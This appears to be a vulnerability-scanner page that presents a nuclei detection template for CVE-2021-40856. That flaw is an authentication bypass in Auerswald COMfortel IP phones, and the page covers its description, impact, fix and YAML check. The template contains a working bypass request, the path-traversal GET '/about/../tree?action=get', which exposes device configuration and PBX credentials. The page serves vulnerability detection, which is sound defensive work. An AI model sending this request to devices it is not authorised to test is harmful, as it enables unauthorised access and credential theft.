Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass

highseverity

7.5CVSS score

50.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.

Impact

An attacker can bypass authentication and gain unauthorized access to the device.

Fix

Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /about/../tree?action=get
Positive when: contains "\"TYPE\"" and "\"ITEMS\"" and "\"COUNT\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-40856 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-40856

info:
  name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
  author: gy741
  severity: high
  description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the device.
  remediation: |
    Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40856
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
    - https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
    - http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40856
    cwe-id: CWE-706
    epss-score: 0.50125
    epss-percentile: 0.98914
    cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: auerswald
    product: comfortel_3600_ip_firmware
  tags: cve2021,cve,packetstorm,comfortel,auth-bypass,auerswald,vkev,vuln

http:
  - raw:
      - |
        GET /about/../tree?action=get HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"TYPE"'
          - '"ITEMS"'
          - '"COUNT"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from